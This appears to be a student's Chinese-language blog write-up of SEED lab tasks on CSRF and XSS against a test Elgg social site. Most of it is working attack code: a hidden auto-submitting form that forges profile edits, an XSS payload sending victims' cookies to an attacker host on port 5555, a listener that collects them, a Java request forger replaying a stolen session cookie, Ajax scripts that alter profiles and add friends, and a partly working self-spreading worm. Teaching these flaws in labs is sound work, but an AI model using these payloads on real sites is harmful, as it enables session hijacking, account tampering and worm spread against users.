进入正题之前,先扯一番:黑客本义并非某些人以为的利用网络干坏事的人,刚开始或者说现在的很多,黑客是以技术大牛的形式存在的,也就是在网络领域有一门专场的牛人。有些黑客不干坏事而是干好事,比如利用网站的漏洞,去告诉网站开发运营者你的网站有漏洞,要修补啦,他们却并不会利用这漏洞干坏事,而是以发现漏洞追求技术快感为享受。
说是网站攻防演练,但估计这套东西已经很老很少用了,毕竟作为课程实验的实例都是“经典”的。不过里面的攻防思想特别是利用漏洞的思想对于学习是很有用处的。
(下面对于CSRF的解释和区别都是援引自实验PPT非个人原创)
实验结果:
(1)CSRF:
任务1:首先登录Alice账号并手动添加Boby为好友,然后用Live HTTP Header工具观察HTTP包头:
就是一个GET命令,附带信息有friend的id号(friend=40),后面elgg这东西是个时间戳,防伪冒用的。
然后修改攻击者网页的内容,添加一个<img>标签,但是src使用添加好友的url链接,也就是当用户访问了这个恶意网页之后,因为会自动GET<img>标签的内容,所以url自动就发出去了,浏览器根据url发送给服务器添加好友的命令。
网页源代码如下:
然后Alice在登录状态下访问这个网址的index.html:
用Live工具可以看到后台自动发送了一个GET命令:
刷新一下Alice的好友圈,发现Boby被自动添加为Alice自己的好友:
任务2:
先手动测试下,Alice手动修改自己的Profile里面的签名并保存,这之后记得要删除签名:
观察Live工具里面的内容:
是个POST命令,后面跟的是要修改后的Profile里面的一些变量值。
然后攻击者(Alice)网页index.html文件修改成如下:
<html><body><h1>
This page forges an HTTP POST request.
</h1>
<script type="text/javascript">
function post(url,fields)
{
//create a <form> element.
var p = document.createElement("form");
//construct the form
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
//append the form to the current page.
document.body.appendChild(p);
//submit the form
p.submit();
}
function csrf_hack()
{
var fields;
// The following are form entries that need to be filled out
// by attackers. The entries are made hidden, so the victim
// won’t be able to see them.
fields += "<input type=’hidden’ name=’name’ value=’Boby’>";
fields += "<input type=’hidden’ name=’description’ value=’I suppot SEED project’>";
fields += "<input type=’hidden’ name=’accesslevel[description]’ value=’2’>";
fields += "<input type=’hidden’ name=’briefdescription’ value=’’>";
fields += "<input type=’hidden’ name=’accesslevel[briefdescription]’ value=’2’>";
fields += "<input type=’hidden’ name=’location’ value=’’>";
fields += "<input type=’hidden’ name=’accesslevel[location]’ value=’2’>";
fields += "<input type=’hidden’ name=’guid’ value=’40’>";
var url = "http://www.csrflabelgg.com/action/profile/edit";
post(url,fields);
}
// invoke csrf_hack() after the page is loaded.
window.onload = function() { csrf_hack();}
</script>
</body></html>
然后Boby再跳到自己的Profile页面,发现签名被黑了:
回答问题1,完成添加好友的操作需要知道对方的id(guid),请描述下你是如何获取到对方的id(guid)的。
答:我是在Alice手动添加Boby好友时用Live工具观察包头,可以看到包头信息会有guid=40.
2,如果需要让任意访问恶意网站的人都修改掉其个人简介。但是,你又不能事先知道谁会访问这个恶意网站。所以,你还能通过CSRF来完成修改个人简介的操作么?WHY?
答:理论上是可以的,只要能黑到对方的guid号。但是我这里并没有找到方法能够动态获取guid,只能先手动操作然后观察live工具包头知道guid信息,所以关键在于有没有一个函数来获取当前登录用户的guid。
任务3:
注释掉actioin.php文件里actioin_gatekeeper函数最前面的return true
注释掉之后会执行后面的代码,也就是validate_action_token(验证时间戳)函数。代码有个关键函数就是MD5加密,所以即便攻击者能够知道时间guid,只要没有md5加密用的密钥,一样不能伪造出正确的token出来:
重新运行恶意网址,会发现一只停留在此页面,不会自动刷新跳转到ww.example.com:
然后live工具是不断地刷新接包:
跳到Boby的Profile页面,发现右上角有一大堆报错说token验证未通过说明保护成功:
XSS:
任务1:
修改Profile里面的Brief Description如下,也就是直接插入一句script脚本:
另一种方法是在About me个人介绍栏修改如下,因为这一栏最后显示会有一个<p>标签,所以需要先点击右上角remove editor然后把<p></p>标签删掉:
最后保存,可以看到弹窗:
任务2:
在brief description插入如下脚本:
保存可以看到弹窗显示cookie内容:
任务3:
首先在个人简介栏添加如下脚本,表示将当前用户的cookie发送给攻击者的机器5555端口:
<script>document.write(’<img src=http://attacker_IP_address:5555?c=’ + escape(document.cookie) + ’ >’); </script>
/*
ECHOSERV.C
==========
Simple TCP/IP echo server.
*/
#include <sys/socket.h> /* socket definitions */
#include <sys/types.h> /* socket types */
#include <arpa/inet.h> /* inet (3) funtions */
#include <unistd.h> /* misc. UNIX functions */
#include "helper.h" /* our own helper functions */
#include <stdlib.h>
#include <stdio.h>
/* Global constants */
<span style="color:#ff0000;">
#define ECHO_PORT (5555)</span>
#define MAX_LINE (1000)
int main(int argc, char *argv[]) {
int list_s; /* listening socket */
int conn_s; /* connection socket */
short int port; /* port number */
struct sockaddr_in servaddr; /* socket address structure */
char buffer[MAX_LINE]; /* character buffer */
char *endptr; /* for strtol() */
/* Get port number from the command line, and
set to default port if no arguments were supplied */
if ( argc == 2 ) {
port = strtol(argv[1], &endptr, 0);
if ( *endptr ) {
fprintf(stderr, "ECHOSERV: Invalid port number.\n");
exit(EXIT_FAILURE);
}
}
else if ( argc < 2 ) {
port = ECHO_PORT;
}
else {
fprintf(stderr, "ECHOSERV: Invalid arguments.\n");
exit(EXIT_FAILURE);
}
/* Create the listening socket */
if ( (list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
fprintf(stderr, "ECHOSERV: Error creating listening socket.\n");
exit(EXIT_FAILURE);
}
/* Set all bytes in socket address structure to
zero, and fill in the relevant data members */
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port);
/* Bind our socket addresss to the
listening socket, and call listen() */
if ( bind(list_s, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0 ) {
fprintf(stderr, "ECHOSERV: Error calling bind()\n");
exit(EXIT_FAILURE);
}
if ( listen(list_s, LISTENQ) < 0 ) {
fprintf(stderr, "ECHOSERV: Error calling listen()\n");
exit(EXIT_FAILURE);
}
/* Enter an infinite loop to respond
to client requests and echo input */
while ( 1 ) {
/* Wait for a connection, then accept() it */
if ( (conn_s = accept(list_s, NULL, NULL) ) < 0 ) {
fprintf(stderr, "ECHOSERV: Error calling accept()\n");
exit(EXIT_FAILURE);
}
/* Retrieve an input line from the connected socket
then simply write it back to the same socket. */
Readline(conn_s, buffer, MAX_LINE-1);
Writeline(conn_s, buffer, strlen(buffer));
printf("%s",buffer);
/* Close the connected socket */
if ( close(conn_s) < 0 ) {
fprintf(stderr, "ECHOSERV: Error calling close()\n");
exit(EXIT_FAILURE);
}
}
}
然后受害者那边save保存profile修改或者之前已经保存了就刷新下网页,然后攻击者的终端就会获取到受害者的cookie并输入到终端,如下:
任务4:
首先修改攻击者自己的hosts文件,让www.xss.lagelgg.com指向受害者机器的ip:
然后用和任务3同样的方法先获取到受害者的cookie:
手动添加好友看看包头信息,用于java代码完善,然后记得要删除好友:
根据观察结果我们可以在java代码中添加HTTP header的几大块(复制Live工具相应位置的结果即可),包括有url(包含guid)及时间戳(手动添加时从Live工具复制),还有Cookie等变量,最后还有用户自己的data,其他的均不用修改:
import java.io. * ;
import java.net. * ;
public class HTTPSimpleForge {
public static void main(String[] args) throws IOException {
try {
int responseCode;
InputStream responseIn=null;
<span style="color:#ff0000;">String requestDetails = "&__elgg_ts=1463798208&__elgg_token=bafb2d09c33fd1ee04c727cf909fa527";</span>
// URL to be forged.
<span style="color:#ff0000;">URL url = new URL ("http://www.xsslabelgg.com/action/friends/add?friend=40"+requestDetails);</span>
// URLConnection instance is created to further parameterize a
// resource request past what the state members of URL instance
// can represent.
HttpURLConnection urlConn = (HttpURLConnection) url.openConnection();
if (urlConn instanceof HttpURLConnection) {
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
// addRequestProperty method is used to add HTTP Header Information.
// Here we add User-Agent HTTP header to the forged HTTP packet.
// Add other necessary HTTP Headers yourself. Cookies should be stolen
// using the method in task3.
<span style="color:#ff0000;">urlConn.addRequestProperty("User-agent","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0");
urlConn.addRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
urlConn.addRequestProperty("Accept-Language","en-US,en;q=0.5");
urlConn.addRequestProperty("Accept-Encoding","gzip, deflate");//The former is the name, and the next is the value
urlConn.addRequestProperty("Referer","http://www.xsslabelgg.com/profile/boby");
urlConn.addRequestProperty("Cookie","Elgg=jaol6sg0nr4a947nchdfeiu136");
urlConn.addRequestProperty("Connection","keep-alive");</span>
//HTTP Post Data which includes the information to be sent to the server.
<span style="color:#ff0000;">String data = "name=Alice&guid=39";</span>
// DoOutput flag of URL Connection should be set to true
// to send HTTP POST message.
urlConn.setDoOutput(true);
// OutputStreamWriter is used to write the HTTP POST data
// to the url connection.
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
// HttpURLConnection a subclass of URLConnection is returned by
// url.openConnection() since the url is an http request.
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
// Contacts the web server and gets the status code from
// HTTP Response message.
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
// HTTP status code HTTP_OK means the response was
// received sucessfully.
if (responseCode == HttpURLConnection.HTTP_OK)
// Get the input stream from url connection object.
responseIn = urlConn.getInputStream();
// Create an instance for BufferedReader
// to read the response line by line.
BufferedReader buf_inp = new BufferedReader(new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine())!=null) {
System.out.println(inputLine);
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
然后Alice去看看和Boby的关系,发现被自动添加了Boby为好友,java代码结果成功:
任务5:
刚才用java代码的方式需要攻击者自己动手,任务5则是在攻击者的Profile植入恶意脚本,然后其他用户浏览时会执行恶意脚本并自动产生结果,不需要攻击者再做任何操作。
先让Alice手动添加Samy为还有观察live包头:
然后Alice修改自己的profile保存save之后的live包头为:
这两个包头信息用于JavaScript脚本编写,脚本编写如下:
</p>
<script type="text/javascript">
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var content="__elgg_token=3858e88e1cfe52088d12dd4a0b4037c0&__elgg_ts=1463799514&name=ModifyByAttacker_Alice&description=&accesslevel%5Bdescription%5D=2&briefdescription=%3Cscript+type%3D%22text%2Fjavascript%22%3Edocument.write%28%27%3Cimg+src%3Dhttp%3A%2F%2F192.168.88.131%3A5555%3Fc%3D%27%2Bescape%28document.cookie%29%2B%27%3E%27%29%3B%3C%2Fscript%3E&accesslevel%5Bbriefdescription%5D=2&location=&accesslevel%5Blocation%5D=2&interests=&accesslevel%5Binterests%5D=2&skills=&accesslevel%5Bskills%5D=2&contactemail=&accesslevel%5Bcontactemail%5D=2&phone=&accesslevel%5Bphone%5D=2&mobile=&accesslevel%5Bmobile%5D=2&website=&accesslevel%5Bwebsite%5D=2&twitter=&accesslevel%5Btwitter%5D=2&guid=39";
Ajax.send(content);
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("GET","http://www.xsslabelgg.com/action/friends/add?friend=42&__elgg_ts=1463805188&__elgg_token=7cc237bd8867a3cc485f485195232c89",true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var content="";Ajax.send(content);
</script><p>要一一对应包头里面的每个键值对,如cookie等,这里因为需要修改用户profile的同时还要添加samy为好友,所以我这里开了两个ajax的XMLHttpRequest,一个用户修改用户profile,一个用户添加samy为好友。
然后在攻击者的About me栏插入这个脚本(brief description无法插入这么长的内容):
保存,可以发现并不会直接显示出来,只能用firebug工具发现植入的JavaScript脚本:
然后受害者Alice去搜索查看下Boby的Profile页面:
点击进入发现Live工具包头可以看到发送了GET和POST指令,分别就是上面说的一个是POST修改用户信息,GET添加Samy为好友:
查看Alice自己的Profile页面,发现签名被篡改:
查看好友圈发现被自动添加了Samy为自己的好友:
于是,任务5也完成了。
任务6:
结果未实现,但是我知道了大体思路,能够伪造修改Profile的包头,但是却无法真正实现在受害者介绍栏中插入整一个脚本。所以这里我只能演示一下不插入整个脚本文件所有内容,而是只插入一句Hello world,然后篡改受害者昵称和添加Samy为还有都没问题,脚本如下:
<pre name="code" class="java"><pre name="code" class="javascript"></p><script id=worm type="text/javascript">var strCode = document.getElementById("worm");var Ajax=null;Ajax=new XMLHttpRequest();Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Keep-Alive","300");Ajax.setRequestHeader("Connection","keep-alive");Ajax.setRequestHeader("Cookie",document.cookie);Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");var content1="__elgg_token=0bc2454b7c6b587e929711dc57446eaf&__elgg_ts=1463808455&name=YourNameHasBeenModifiedByAttacker&description=";var content2="&accesslevel%5Bdescription%5D=2&briefdescription=&accesslevel%5Bbriefdescription%5D=2&location=&accesslevel%5Blocation%5D=2&interests=&accesslevel%5Binterests%5D=2&skills=&accesslevel%5Bskills%5D=2&contactemail=&accesslevel%5Bcontactemail%5D=2&phone=&accesslevel%5Bphone%5D=2&mobile=&accesslevel%5Bmobile%5D=2&website=&accesslevel%5Bwebsite%5D=2&twitter=&accesslevel%5Btwitter%5D=2&guid=39";
var content=content1+strCode.innerHTML+content2;
Ajax.send(content);
var Ajax=null;Ajax=new XMLHttpRequest();Ajax.open("GET","http://www.xsslabelgg.com/action/friends/add?friend=42&__elgg_ts=1463808542&__elgg_token=dfeeab52230919bf73d4023d49f5bff8",true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Keep-Alive","300");Ajax.setRequestHeader("Connection","keep-alive");Ajax.setRequestHeader("Cookie",document.cookie);Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");var content="";Ajax.send(content);</script><p>原文:http://blog.csdn.net/lv_victor/article/details/51472376